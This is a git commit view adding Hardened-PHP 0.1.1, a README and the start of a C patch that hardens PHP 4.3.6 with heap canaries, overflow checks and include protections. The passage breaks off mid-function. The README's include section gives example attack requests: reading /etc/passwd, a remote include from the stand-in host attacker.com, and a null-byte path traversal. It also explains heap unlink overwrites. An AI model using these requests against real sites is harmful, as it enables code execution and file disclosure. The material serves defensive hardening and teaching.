summaryrefslogtreecommitdiff
path: root/0.1.1
diff options
context:
space:
mode:
authorjvoisin2019-10-13 13:13:51 +0200
committerjvoisin2019-10-13 13:13:51 +0200
commit75be028b669e3a2b79f5a8dcc3a92f488c63aede (patch)
treee73cb63e2c1269a786549afbcf954a106ce1a1e1 /0.1.1
parent5fea1ebe59050ca0bc8de210e93e8fb4ae6cd8c8 (diff)
Add the first versionHEADmaster
Diffstat (limited to '0.1.1')
-rw-r--r--0.1.1/README417
-rw-r--r--0.1.1/hardened-php-4.3.6-0.1.1.patch1493
2 files changed, 1910 insertions, 0 deletions
diff --git a/0.1.1/README b/0.1.1/README
new file mode 100644
index 0000000..0cb3c56
--- /dev/null
+++ b/0.1.1/README
@@ -0,0 +1,417 @@
1------------------------------------------------------------------------
2
3 _ _ _ _ ___ _ _ ___
4 | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
5 | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
6 |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
7
8
9--[ Contents ]----------------------------------------------------------
10
111 - Introduction
12 1.1 - What is Hardened-PHP
13 1.2 - Hardened-PHP's history
14 1.3 - Hardened-PHP's features
15 1.4 - Installing Hardened-PHP
16
172 - The potential security problems
18 2.1 - Zend memory management
19 2.2 - Zend linked lists
20 2.3 - Format string functions
21 2.4 - Includes
22 2.4.1 - Remote includes
23 2.4.2 - Uploaded files
24 2.4.3 - String cuts
25 2.4.4 - Overlong filenames
26
273 - The Implementation
28 3.1 - System compatibility
29 3.2 - Script compatibility
30 3.3 - Speed impact
31 3.4 - Memory Usage
32
33Appendix A - Project information
34
35Appendix B - Hardened-PHP signature key
36
37
38--[ 1 - Introduction ]--------------------------------------------------
39
40PHP is still the most popular script language and therefore used on
41millions of webservers around the globus. Because of this worldwide
42distribution it is vital that PHP scripts and the PHP engine itself are
43made resistent against security exploits.
44
45The Hardened-PHP project was launched to ensure this.
46
47----[ 1.1 - What is Hardened-PHP ]--------------------------------------
48
49Hardened-PHP adds security hardening features to PHP to protect your
50servers on the one hand against a number of well known problems in
51hastily written PHP scripts and on the other hand against potential
52unknown vulnerabilities within the engine itself.
53
54----[ 1.2 - Hardened-PHP's history ]------------------------------------
55
56The idea to create a patched version of PHP which is resistent against
57a lot of attacks is maybe as old as PHP itself. In 2002 a few people
58from OpenBSD users created the PHP auditing project after I released
59my advisories aboute remote holes in PHP. The whole project was not
60really successfull. It seemed quite uncoordinated and the people all
61lost their interest because they never found anything. In the months
62since then I found several remote vulnerabilities in PHP before they
63could make it into a release version. However the codebase is quite
64large and therefore I decided to create Hardened-PHP. The project was
65pulled back several times because of lack of time.
66
67This was until the 17th of April 2004 when I released the first
68version of Hardened-PHP which had already most of the features wanted
69for the first step. The project was not publicly announced until some
70stranger submitted a story about Hardened-PHP to symlink.ch. This was
71bringing some visitors to the page which was infact a ugly page with
72nearly no information, and no documentation.
73
74A month later at the 16th May 2004 the website was redesigned. Nothing
75professional but good enough for a start. Additionally this document
76was released in its first version to have a basic documentation. On the
77same day the Hardened-PHP 0.1.1 was released with just some small fixes
78for PHP and the patch itself.
79
80----[ 1.3 - Hardened-PHP's features ]-----------------------------------
81
82Hardened-PHP provides:
83
84+ Protection of the Zend Memory Manager with canaries
85+ Protection of Zend Linked Lists with canaries
86+ Protection against internal format string exploits
87+ Protection against arbitrary code inclusion
88+ Syslog logging of attackers IP
89
90Hardened-PHP advertises itself as Hardened-PHP/x.y.z if you are running
91it as Apache module and have expose_php turned on.
92
93----[ 1.4 - Installing Hardened-PHP ]-----------------------------------
94
95The process of installing a hardened PHP starts with downloading the
96PHP version supported by the current version of Hardened-PHP from
97
98 http://www.php.net/downloads.php
99
100After downloading the tarball into your temporary installation directory
101(f.e. /home/install) it is recommended that you check the md5sum of the
102file before you continue. If the hash is correct you can start unpacking
103the tarball by issuing the command:
104
105 tar xfz php-x.y.z.tar.gz
106
107Now download the Hardened-PHP patch (and it's GPG signature) from
108
109 http://www.hardened-php.net/download.php
110
111After checking the signature with GPG you can unpack and apply the patch
112
113 gunzip hardened-php-x.y.z-a.b.c.patch.gz
114 cd php-x.y.z
115 patch -p 1 < ../hardened-php-x.y.z-a.b.c.patch
116
117From here follow the PHP manual howto install it ony your platform.
118
119
120--[ 2 - The potential security problems ]-------------------------------
121
122Because the featurelist of Hardened-PHP is quite cryptic for someone not
123into PHP and/or not into security, this chapter will provide an intro-
124duction into the problems that could arise if certain structures are
125overwritten or certain functions are used in an unsafe way.
126
127----[ 2.1 - Zend memory management ]------------------------------------
128
129When memory is allocated within PHP this is done with emalloc(). This
130function is a wrapperfunction for malloc() which implements (beside
131some things like a cache for small blocks) a double linked list of
132allocated memory blocks. This list is needed to free all allocated
133memory at the end of request.
134
135 zend_mem_header emalloc() allocates more
136 memory than requested because
137 31 30 0 it has to add 3 header fields
138 +-----------------+ to the beginning of the block
139 | p P r e v |
140 +-----------------+ It should be obvious that an
141 | p N e x t | overflow into this memory
142 +---+-------------+ will first overwrite the
143 | C + s i z e | pPrev and pNext fields which
144 +---+-------------+ <--- returned are the forward and backward
145 | | pointer pointers in the linked list
146 | | of allocated memory block.
147 | | Imagine you are able to
148 | | overwrite these fields...
149 . .
150 . d a t a . What could actually happen
151 . . to this memoryblock?
152 | | It could either be efree()ed
153 | | or erealloc()ed. In both
154 | | cases the block is taken off
155 | | linked list.
156 +-----------------+
157
158The remove operation is the standard linked list unlink common to many
159implementations of double linked lists.
160
161 p->pPrev->pNext = p->pNext AND p->pNext->pPrev = p->pPrev
162
163This allows to overwrite nearly arbitrary addresses with nearly
164arbitrary values if you control p->pPrev and p->pNext, which can lead
165to a code execution exploit.
166
167When Hardened-PHP is activated it will add so called canaries to the
168beginning and the end of each allocated block. These canaries are no
169birds but 32bit wide values which are randomly generated when the
170memory manager is started. Whenever the block is reallocated or freed
171the memory manager will check if the canary values have changed. This
172is sufficient to protect the unlink operations because an attacker
173cannot guess the random values.
174
175Hardened-PHP uses 2 canaries because this protects against an overflow
176into emalloc()ed memory AND against an overflow out of such a block.
177
178Important: It is necessary to know that 3rd party libraries used by
179PHP will NOT use emalloc() but malloc() directly. This means that heap
180overflows could be still exploitable under some conditions. But this
181check is good enough to ensure that it is not the PHP memory that is
182abused to execute arbitrary code, which is good news because some libc
183versions have very hard/or impossible to exploit implementations of
184malloc(). On those systems heap overflows in PHP would be easily
185exploitable if Hardened-PHP is not activated.
186
187----[ 2.2 - Zend linked lists ]-----------------------------------------
188
189Many internal functions within PHP make use of zend linked lists. These
190lists have a structure which is also very vulnerable to overflows. If
191an attacker would be able cause PHP to overflow a part of memory that
192contains a linked list descriptor structure it would be possible to
193overwrite the stored pointer to the linked list dtor() with a pointer
194to any memory address. This would allow code execution when the list
195is destructed.
196
197Hardened-PHP adds canaries in front of the list descriptor structure
198to protect it against an overflow. Additionally a canary is added to
199the end because sometimes the descriptors are stored in stack and the
200overflow would come from the other side. Because linked list elements
201are always in heap they only get a prefixed canary.
202
203Whenever an operation is performed on the linked list descriptor or
204one of its elements the canaries will get checked and when an overflow
205is detected the script will be aborted.
206
207----[ 2.3 - Format string functions ]-----------------------------------
208
209For a few years it is now known that format string functions can be
210abused if the format string is user supplied. This is because the %n
211specifier allows to write any values to arbitrary memory addresses.
212PHP comes with its own implementation of snprintf() and a memory self
213allocating variant spprintf(). Both functions implement the %n specifier
214which is not uses at all within PHP.
215
216Hardened-PHP when activated removes the %n specifier from the internal
217snprintf() and spprintf() functions. Additionally a macro is set to
218replace all calls to the libc snprintf() with the PHP own version. This
219means, that if someone adds a format string bug to PHP in the future,
220it won't be exploitable. (Only if he makes the mistake in snprintf()
221or spprintf() - protecting sprintf() is on the todo list)
222
223----[ 2.4 - Includes ]--------------------------------------------------
224
225Like many other languages PHP allows to include other source files into
226the main script. This is done at execution time and even allows to
227include files on remote systems, which can become a huge security risk
228if the include statements are not protected in a proper way. Actually
229this is the most often used entrypoint of hackers when they succeed in
230hacking a site running a vulnerable PHP script.
231
232Hardened-PHP includes countermeasures for the most often seen mistakes.
233
234------[ 2.4.1 - Remote includes ]---------------------------------------
235
236A script like
237
238<?php
239 include $_REQUEST['aktion'];
240?>
241
242allows the user to supply any filename to the include statement from the
243outside. This means he can simply request
244
245 /vuln.php?aktion=/etc/passwd
246
247to see your password file in his browser. It is obvious that an attacker
248who knows a way to embed PHP code into a file on your server will be
249able to execute it through this statement. (Examples are logfiles or
250session files). What is maybe new to any PHP beginner is that there is
251a feature called fopen_wrappers which allows to include a file from a
252remote system. This means if this feature is activated (which is the
253default setting) he may request
254
255 /vuln.php?aktion=http://attacker.com/his_code.dat
256
257which includes any code of his choice. It is more than obvious that this
258feature can be a great security risk for any site that runs code written
259by PHP beginners but disabling this feature could also be a bad idea.
260This is because PHP does not allow to disable remote includes separately
261from remote file support for the other file access functions.
262
263If Hardened-PHP is activated it will disallow any include filename that
264looks like an URL and will log the attempt to syslog. Any URL is maybe
265to strict and will be relaxed in a future version. The strict rule is
266the reason why the fopencookie() regression test fails when Hardened-PHP
267is running.
268
269------[ 2.4.2 - Uploaded files ]----------------------------------------
270
271If the previous example is rewritten to make use of register_globals
272
273<?php
274 include $aktion;
275?>
276
277another not so well known way to include arbitrary code is possible.
278This can be used if fopen_wrappers is turned off but register_globals
279and file_uploads are turned on. In such a situation it is suffient to
280perform a post fileupload to the vulnerable script with aktion as name
281of the file variable. Because register_globals is turned on the variable
282$aktion will contain the temporary filename of the uploaded file. Of
283course this can contain arbitrary PHP code that would get executed
284under this circumstances.
285
286Hardened-PHP will stop such attacks because it does not allow including
287an uploaded file. Like with all violations it will get logged to syslog.
288
289------[ 2.4.3 - String cuts ]-------------------------------------------
290
291Many PHP programmers believe it is sufficient to pre- and postfix some
292controlled values to the userinput to completly protect an include-
293statement. That this assumption is wrong can be seen in this example:
294
295<?php
296 include "templates/".$_REQUEST['template'].".tmpl";
297?>
298
299The author of this code thinks that it is safe to include any file with
300a .tmpl extension on the system. While this maybe is true he forgets
301(or simply does not know) that PHP strings are binary safe, which means
302that anywhere within the userinput could be an ascii NUL char. For the
303underlying filesystem function this is considered as string terminator,
304which means, that a request for
305
306 /vuln.php?template=../../../../../../../etc/passwd%00
307
308would infact include the /etc/passwd file because the %00 will truncate
309the extension ".tmpl" from the rest of the string. (This is only valid
310if magic_quotes_gpc is turned off)
311
312To protect against such attacks Hardened-PHP checks if the stringlength
313seen by the filesystem functions is equal to the binarysafe length. If
314they differ the file is not included and the attack is logged.
315
316------[ 2.4.4 - Overlong filenames ]------------------------------------
317
318When including a file Hardened-PHP checks that the supplied filename
319does not exceed the maximum path length. This is done because it doesn't
320add much overhead (for string cut protection we need strlen() anyway),
321but could protect against bufferoverflow attacks on the underlying
322filesystem functions. If a filename triggers this check it will be
323logged to syslog.
324
325
326--[ 3 - The implementation ]--------------------------------------------
327
328This chapter discusses the compatibility, speed and memory issues which
329are caused by applying the Hardened-PHP patch.
330
331----[ 3.1 - System compatibility ]--------------------------------------
332
333Hardened-PHP is mainly developed on linux systems. This means new
334versions may not compile on your operating system. I strongly recommend
335reporting such problems to the Hardened-PHP users mailinglist.
336
337----[ 3.2 - Script compatibility ]--------------------------------------
338
339Hardened-PHP passes the PHP 'make test' regression tests with the
340exception of the fopencookie() test. This is not caused by a bug within
341the implementation but by design of the include() protection feature.
342At the time of writing this document Hardened-PHP simply forbids all
343stream includes to protect against remote file inclusion. Without this
344feature the fopencookie() test cannot work and therefore fails.
345
346Future versions of Hardened-PHP will partly restore stream inclusion
347support, to work around this limitation.
348
349----[ 3.3 - Speed impact ]----------------------------------------------
350
351It is believed that the few additional clock cycles spent on the extra
352sanity checks are marginal in comparison to the overhead which is caused
353by the protected functions within the memory management and filesystem
354access functions.
355
356A complete benchmark will be added to this section once it is achieved.
357
358----[ 3.4 - Memory usage ]----------------------------------------------
359
360Hardened-PHP adds canary protection to every allocated block of memory,
361to every linked list and to every linked list element. Additional every
362request remembers the triggering IP address. Combined this means an
363increased of used memory.
364
365This section will be filled with a memory usage benchmark in the future.
366
367
368--[ Appendix A - Project information ]----------------------------------
369
370At the time of writing Hardened-PHP is hosted on Sourceforge.
371
372The official homepage of Hardened-PHP is:
373
374http://www.hardened-php.org
375
376and the Sourceforge project page is reachable under:
377
378http://www.sourceforge.net/projects/hardened-php
379
380You can reach me (the author) directly through the email address
381sesser@php.net . When writing to this address please include the string
382Hardened-PHP in the subject line due to the amount of spam.
383
384You can use this address also to donate money to the project via Paypal.
385
386
387--[ Appendix B - Hardened-PHP signature key ]---------------------------
388
389To ensure authenticity of Hardened-PHP releases they are signed
390with the following GPG key:
391
392-----BEGIN PGP PUBLIC KEY BLOCK-----
393Version: GnuPG v1.0.6 (GNU/Linux)
394Comment: For info see http://www.gnupg.org
395
396mQGiBECBdjoRBAC5HMCaoPx30w6N4JLx09RfBLx6bo0//JWAaJKpjpvW1FviFNYs
397PXkyGrcrhhVxoh5dC8ByQgWSbT8XMpUv5tPQNwxO0ITbbAU9ipgg5BVDfc82/XaK
398Jr1jq243EQJN7rsce6PF13LIoxQ+LBdYHY6vw9a+9/IO5LMjNw7zW+5pswCg8M0Q
3992jnKZaIAhVCS27LJaUQaL68EAIl6I19HRE7RTJbhY0ZIrKGUKfx+KX0gHb8kXu6q
400WV5fmtO5fH34TrojhgUqBayLtwsxtXr+8QBMz0XNRDuebja8ZaVyLTx+EpI8Dyfm
401ob7vzlS3qJoNrW3h1kse50r/ilm87aB0JP6vwPlZDPC1lu2ZAGSUYEHml5dOmyCi
4025Z8tBACKFry60HlvWQzbnHCSSyMTIcagMnkVuyDDIR63RAqhEmyE7GXh2sYh6aPt
403AWag9ADQVFvTBhx+ssU5gpPahJr29QTrC4VCNTaO03O16qLmqkTKWHZCZbd4EPTg
404trswDZc1PLVwbP0j5RlH8/tQrbY9lMtuS5rUxtaFCLw4ZPWrh7QaSGFyZGVuZWQt
405UEhQIFNpZ25hdHVyZSBLZXmIXQQTEQIAHQUCQIF2OgUJAeEzgAULBwoDBAMVAwID
406FgIBAheAAAoJEEQ5FMwKhkqhSPAAnjXReigGNJXBsoX7z8/EvthX0cTIAJ9cSPil
407WwaTl2vtz7kyguZzRpZz8rkBDQRAgXY8EAQApLYBh8UCMUhDy5bR6Oj4vhMY6cJ4
408pIvwuaHbTXauBXS8UV5MwWvf/qcecM61Qe9SlZqWDTfT47tLgtR16PxmVhPJtQxH
409aRkrxXTKDu9P1evD1zX61/eNhDZw9+MPYMokxZMYS94s5uv/upKZZwu8XzdJtrK3
410YtaNAMn3tXQUKZMAAwUD/ieRxef28ZZ68emOe8KNfd5GP+8Ym7dkiidPBRLqgGmf
411V9AZbMdA2F8VfLuD6B5T5Lj9J35eTKijwLHDD5svl+2zPOSEtUB8mUVp2765kqeb
412jFW7WteKB9pEq59mfgHW5p5gnu66Fh5bggf8rKELj+0hw44F0IEXCQwyHlJ/3lQS
413iEwEGBECAAwFAkCBdjwFCQHhM4AACgkQRDkUzAqGSqG/wwCg7LlZpWdRL5QgUms5
414VVh+fdpHgPIAn3SIXWtsAS2T0Z0V6pjhSQz30ams
415=Gq1L
416-----END PGP PUBLIC KEY BLOCK-----
417
diff --git a/0.1.1/hardened-php-4.3.6-0.1.1.patch b/0.1.1/hardened-php-4.3.6-0.1.1.patch
new file mode 100644
index 0000000..b785d13
--- /dev/null
+++ b/0.1.1/hardened-php-4.3.6-0.1.1.patch
@@ -0,0 +1,1493 @@
1diff -Nur php-4.3.6.orig/Zend/zend.c hardened-php/Zend/zend.c
2--- php-4.3.6.orig/Zend/zend.c Fri Apr 16 19:25:38 2004
3+++ hardened-php/Zend/zend.c Sun May 16 00:33:40 2004
4@@ -53,6 +53,12 @@
5 ZEND_API void (*zend_unblock_interruptions)(void);
6 ZEND_API void (*zend_ticks_function)(int ticks);
7 ZEND_API void (*zend_error_cb)(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args);
8+#if HARDENED_PHP
9+ZEND_API void (*zend_security_log)(char *str);
10+#endif
11+#if HARDENED_PHP_INC_PROTECT
12+ZEND_API int (*zend_is_valid_include)(zval *z);
13+#endif
14
15 void (*zend_on_timeout)(int seconds TSRMLS_DC);
16
17@@ -422,6 +428,14 @@
18 #else
19 extern zend_scanner_globals ini_scanner_globals;
20 extern zend_scanner_globals language_scanner_globals;
21+#endif
22+
23+ /* Set up Hardened-PHP utility functions first */
24+#if HARDENED_PHP
25+ zend_security_log = utility_functions->security_log_function;
26+#endif
27+#if HARDENED_PHP_INC_PROTECT
28+ zend_is_valid_include = utility_functions->is_valid_include;
29 #endif
30
31 #ifdef ZTS
32diff -Nur php-4.3.6.orig/Zend/zend.h hardened-php/Zend/zend.h
33--- php-4.3.6.orig/Zend/zend.h Fri Apr 16 19:25:38 2004
34+++ hardened-php/Zend/zend.h Sun May 16 00:33:40 2004
35@@ -324,6 +324,12 @@
36 void (*ticks_function)(int ticks);
37 void (*on_timeout)(int seconds TSRMLS_DC);
38 zend_bool (*open_function)(const char *filename, struct _zend_file_handle *);
39+#if HARDENED_PHP
40+ void (*security_log_function)(char *str);
41+#endif
42+#if HARDENED_PHP_INC_PROTECT
43+ int (*is_valid_include)(zval *z);
44+#endif
45 } zend_utility_functions;
46
47
48@@ -455,7 +461,16 @@
49 extern ZEND_API void (*zend_ticks_function)(int ticks);
50 extern ZEND_API void (*zend_error_cb)(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args) ZEND_ATTRIBUTE_PTR_FORMAT(printf, 4, 0);
51 extern void (*zend_on_timeout)(int seconds TSRMLS_DC);
52+#if HARDENED_PHP
53+extern ZEND_API void (*zend_security_log)(char *str);
54+#endif
55+#if HARDENED_PHP_INC_PROTECT
56+extern ZEND_API int (*zend_is_valid_include)(zval *z);
57+#endif
58
59+#if HARDENED_PHP_MM_PROTECT || HARDENED_PHP_LL_PROTECT
60+ZEND_API unsigned int zend_canary(void);
61+#endif
62
63 ZEND_API void zend_error(int type, const char *format, ...) ZEND_ATTRIBUTE_PTR_FORMAT(printf, 2, 3);
64
65diff -Nur php-4.3.6.orig/Zend/zend_alloc.c hardened-php/Zend/zend_alloc.c
66--- php-4.3.6.orig/Zend/zend_alloc.c Fri Apr 16 19:25:38 2004
67+++ hardened-php/Zend/zend_alloc.c Sun May 16 00:41:04 2004
68@@ -56,6 +56,11 @@
69 # define END_MAGIC_SIZE 0
70 #endif
71
72+#if HARDENED_PHP_MM_PROTECT
73+# define CANARY_SIZE sizeof(unsigned int)
74+#else
75+# define CANARY_SIZE 0
76+#endif
77
78 # if MEMORY_LIMIT
79 # if ZEND_DEBUG
80@@ -129,6 +134,12 @@
81 DECLARE_CACHE_VARS();
82 TSRMLS_FETCH();
83
84+#if HARDENED_PHP_MM_PROTECT
85+ if (size > LONG_MAX - sizeof(zend_mem_header) - MEM_HEADER_PADDING - END_MAGIC_SIZE - CANARY_SIZE) {
86+ zend_security_log("emalloc() - requested size would result in integer overflow");
87+ exit(1);
88+ }
89+#endif
90 CALCULATE_REAL_SIZE_AND_CACHE_INDEX(size);
91
92 if (!ZEND_DISABLE_MEMORY_CACHE && (CACHE_INDEX < MAX_CACHED_MEMORY) && (AG(cache_count)[CACHE_INDEX] > 0)) {
93@@ -146,6 +157,10 @@
94 AG(cache_stats)[CACHE_INDEX][1]++;
95 memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size), &mem_block_end_magic, sizeof(long));
96 #endif
97+#if HARDENED_PHP_MM_PROTECT
98+ p->canary = AG(canary_1);
99+ memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size + END_MAGIC_SIZE), &AG(canary_2), CANARY_SIZE);
100+#endif
101 p->cached = 0;
102 p->size = size;
103 return (void *)((char *)p + sizeof(zend_mem_header) + MEM_HEADER_PADDING);
104@@ -155,7 +170,13 @@
105 AG(cache_stats)[CACHE_INDEX][0]++;
106 }
107 #endif
108- p = (zend_mem_header *) ZEND_DO_MALLOC(sizeof(zend_mem_header) + MEM_HEADER_PADDING + SIZE + END_MAGIC_SIZE);
109+#if MEMORY_LIMIT
110+ CHECK_MEMORY_LIMIT(size, SIZE);
111+ if (AG(allocated_memory) > AG(allocated_memory_peak)) {
112+ AG(allocated_memory_peak) = AG(allocated_memory);
113+ }
114+#endif
115+ p = (zend_mem_header *) ZEND_DO_MALLOC(sizeof(zend_mem_header) + MEM_HEADER_PADDING + SIZE + END_MAGIC_SIZE + CANARY_SIZE);
116 }
117
118 HANDLE_BLOCK_INTERRUPTIONS();
119@@ -185,11 +206,9 @@
120 # endif
121 memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size), &mem_block_end_magic, sizeof(long));
122 #endif
123-#if MEMORY_LIMIT
124- CHECK_MEMORY_LIMIT(size, SIZE);
125- if (AG(allocated_memory) > AG(allocated_memory_peak)) {
126- AG(allocated_memory_peak) = AG(allocated_memory);
127- }
128+#if HARDENED_PHP_MM_PROTECT
129+ p->canary = AG(canary_1);
130+ memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size + END_MAGIC_SIZE), &AG(canary_2), CANARY_SIZE);
131 #endif
132
133 HANDLE_UNBLOCK_INTERRUPTIONS();
134@@ -218,17 +237,33 @@
135 return emalloc_rel(lval + offset);
136 }
137 }
138-
139+
140+#if HARDENED_PHP
141+ zend_security_log("Possible integer overflow catched by safe_emalloc()");
142+#endif
143 zend_error(E_ERROR, "Possible integer overflow in memory allocation (%ld * %ld + %ld)", nmemb, size, offset);
144 return 0;
145 }
146
147 ZEND_API void _efree(void *ptr ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
148 {
149+#if HARDENED_PHP_MM_PROTECT
150+ unsigned int *canary_2;
151+#endif
152 zend_mem_header *p = (zend_mem_header *) ((char *)ptr - sizeof(zend_mem_header) - MEM_HEADER_PADDING);
153 DECLARE_CACHE_VARS();
154 TSRMLS_FETCH();
155
156+#if HARDENED_PHP_MM_PROTECT
157+ canary_2 = (((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + p->size + END_MAGIC_SIZE);
158+ if (p->canary != AG(canary_1) || *canary_2 != AG(canary_2)) {
159+ zend_security_log("canary mismatch on efree() - heap overflow or double efree detected");
160+ exit(1);
161+ }
162+ /* to catch double efree()s */
163+ *canary_2 = p->canary = 0;
164+#endif
165+
166 #if defined(ZTS) && TSRM_DEBUG
167 if (p->thread_id != tsrm_thread_id()) {
168 tsrm_error(TSRM_ERROR_LEVEL_ERROR, "Memory block allocated at %s:(%d) on thread %x freed at %s:(%d) on thread %x, ignoring",
169@@ -273,6 +308,9 @@
170 size_t _size = nmemb * size;
171
172 if (nmemb && (_size/nmemb!=size)) {
173+#if HARDENED_PHP
174+ zend_security_log("Possible integer overflow catched by ecalloc()");
175+#endif
176 fprintf(stderr,"FATAL: ecalloc(): Unable to allocate %ld * %ld bytes\n", (long) nmemb, (long) size);
177 #if ZEND_DEBUG && HAVE_KILL && HAVE_GETPID
178 kill(getpid(), SIGSEGV);
179@@ -292,6 +330,9 @@
180
181 ZEND_API void *_erealloc(void *ptr, size_t size, int allow_failure ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
182 {
183+#if HARDENED_PHP_MM_PROTECT
184+ unsigned int canary_2;
185+#endif
186 zend_mem_header *p;
187 zend_mem_header *orig;
188 DECLARE_CACHE_VARS();
189@@ -303,6 +344,14 @@
190
191 p = orig = (zend_mem_header *) ((char *)ptr-sizeof(zend_mem_header)-MEM_HEADER_PADDING);
192
193+#if HARDENED_PHP_MM_PROTECT
194+ canary_2 = *(unsigned int *)(((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + p->size + END_MAGIC_SIZE);
195+ if (p->canary != AG(canary_1) || canary_2 != AG(canary_2)) {
196+ zend_security_log("canary mismatch on erealloc() - heap overflow detected");
197+ exit(1);
198+ }
199+#endif
200+
201 #if defined(ZTS) && TSRM_DEBUG
202 if (p->thread_id != tsrm_thread_id()) {
203 void *new_p;
204@@ -319,8 +368,14 @@
205 CALCULATE_REAL_SIZE_AND_CACHE_INDEX(size);
206
207 HANDLE_BLOCK_INTERRUPTIONS();
208+#if MEMORY_LIMIT
209+ CHECK_MEMORY_LIMIT(size - p->size, SIZE - REAL_SIZE(p->size));
210+ if (AG(allocated_memory) > AG(allocated_memory_peak)) {
211+ AG(allocated_memory_peak) = AG(allocated_memory);
212+ }
213+#endif
214 REMOVE_POINTER_FROM_LIST(p);
215- p = (zend_mem_header *) ZEND_DO_REALLOC(p, sizeof(zend_mem_header)+MEM_HEADER_PADDING+SIZE+END_MAGIC_SIZE);
216+ p = (zend_mem_header *) ZEND_DO_REALLOC(p, sizeof(zend_mem_header)+MEM_HEADER_PADDING+SIZE+END_MAGIC_SIZE+CANARY_SIZE);
217 if (!p) {
218 if (!allow_failure) {
219 fprintf(stderr,"FATAL: erealloc(): Unable to allocate %ld bytes\n", (long) size);
220@@ -341,14 +396,11 @@
221 p->magic = MEM_BLOCK_START_MAGIC;
222 memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size), &mem_block_end_magic, sizeof(long));
223 #endif
224-#if MEMORY_LIMIT
225- CHECK_MEMORY_LIMIT(size - p->size, SIZE - REAL_SIZE(p->size));
226- if (AG(allocated_memory) > AG(allocated_memory_peak)) {
227- AG(allocated_memory_peak) = AG(allocated_memory);
228- }
229-#endif
230
231 p->size = size;
232+#if HARDENED_PHP_MM_PROTECT
233+ memcpy((((char *) p) + sizeof(zend_mem_header) + MEM_HEADER_PADDING + size + END_MAGIC_SIZE), &AG(canary_2), CANARY_SIZE);
234+#endif
235
236 HANDLE_UNBLOCK_INTERRUPTIONS();
237 return (void *)((char *)p+sizeof(zend_mem_header)+MEM_HEADER_PADDING);
238@@ -423,6 +475,10 @@
239 {
240 AG(head) = NULL;
241
242+#if HARDENED_PHP_MM_PROTECT
243+ AG(canary_1) = zend_canary();
244+ AG(canary_2) = zend_canary();
245+#endif
246 #if MEMORY_LIMIT
247 AG(memory_limit) = 1<<30; /* ridiculous limit, effectively no limit */
248 AG(allocated_memory) = 0;
249diff -Nur php-4.3.6.orig/Zend/zend_alloc.h hardened-php/Zend/zend_alloc.h
250--- php-4.3.6.orig/Zend/zend_alloc.h Fri Apr 16 19:25:38 2004
251+++ hardened-php/Zend/zend_alloc.h Sun May 16 00:33:40 2004
252@@ -32,6 +32,9 @@
253 #define MEM_BLOCK_CACHED_MAGIC 0xFB8277DCL
254
255 typedef struct _zend_mem_header {
256+#if HARDENED_PHP_MM_PROTECT
257+ unsigned int canary;
258+#endif
259 #if ZEND_DEBUG
260 long magic;
261 char *filename;
262diff -Nur php-4.3.6.orig/Zend/zend_builtin_functions.c hardened-php/Zend/zend_builtin_functions.c
263--- php-4.3.6.orig/Zend/zend_builtin_functions.c Fri Apr 16 19:25:38 2004
264+++ hardened-php/Zend/zend_builtin_functions.c Sun May 16 00:33:40 2004
265@@ -49,6 +49,9 @@
266 static ZEND_FUNCTION(crash);
267 #endif
268 #endif
269+#if HARDENED_PHP_MM_PROTECT_DEBUG
270+static ZEND_FUNCTION(heap_overflow);
271+#endif
272 static ZEND_FUNCTION(get_included_files);
273 static ZEND_FUNCTION(is_subclass_of);
274 static ZEND_FUNCTION(is_a);
275@@ -101,6 +104,9 @@
276 ZEND_FE(crash, NULL)
277 #endif
278 #endif
279+#if HARDENED_PHP_MM_PROTECT_DEBUG
280+ ZEND_FE(heap_overflow, NULL)
281+#endif
282 ZEND_FE(get_included_files, NULL)
283 ZEND_FALIAS(get_required_files, get_included_files, NULL)
284 ZEND_FE(is_subclass_of, NULL)
285@@ -804,6 +810,19 @@
286 #endif
287
288 #endif /* ZEND_DEBUG */
289+
290+
291+#if HARDENED_PHP_MM_PROTECT_DEBUG
292+ZEND_FUNCTION(heap_overflow)
293+{
294+ char *nowhere = emalloc(10);
295+
296+ memcpy(nowhere, "something1234567890", sizeof("something1234567890"));
297+
298+ efree(nowhere);
299+}
300+#endif
301+
302
303 /* {{{ proto array get_included_files(void)
304 Returns an array with the file names that were include_once()'d */
305diff -Nur php-4.3.6.orig/Zend/zend_canary.c hardened-php/Zend/zend_canary.c
306--- php-4.3.6.orig/Zend/zend_canary.c Thu Jan 1 01:00:00 1970
307+++ hardened-php/Zend/zend_canary.c Sun May 16 00:33:40 2004
308@@ -0,0 +1,58 @@
309+/*
310+ +----------------------------------------------------------------------+
311+ | Hardened-PHP |
312+ +----------------------------------------------------------------------+
313+ | Copyright (c) 2004 Stefan Esser |
314+ +----------------------------------------------------------------------+
315+ | This source file is subject to version 2.02 of the PHP license, |
316+ | that is bundled with this package in the file LICENSE, and is |
317+ | available at through the world-wide-web at |
318+ | http://www.php.net/license/2_02.txt. |
319+ | If you did not receive a copy of the PHP license and are unable to |
320+ | obtain it through the world-wide-web, please send a note to |
321+ | license@php.net so we can mail you a copy immediately. |
322+ +----------------------------------------------------------------------+
323+ | Author: Stefan Esser <sesser@php.net> |
324+ +----------------------------------------------------------------------+
325+ */
326+/* $Id: hardened_php.c,v 1.51.2.4 2003/03/17 13:50:23 wez Exp $ */
327+
328+#include "zend.h"
329+
330+#include <stdio.h>
331+#include <stdlib.h>
332+
333+
334+#if HARDENED_PHP_MM_PROTECT || HARDENED_PHP_LL_PROTECT
335+
336+/* will be replaced later with more compatible method */
337+ZEND_API unsigned int zend_canary()
338+{
339+ time_t t;
340+ unsigned int canary;
341+ int fd;
342+
343+ fd = open("/dev/urandom", 0);
344+ if (fd != -1) {
345+ int r = read(fd, &canary, sizeof(canary));
346+ close(fd);
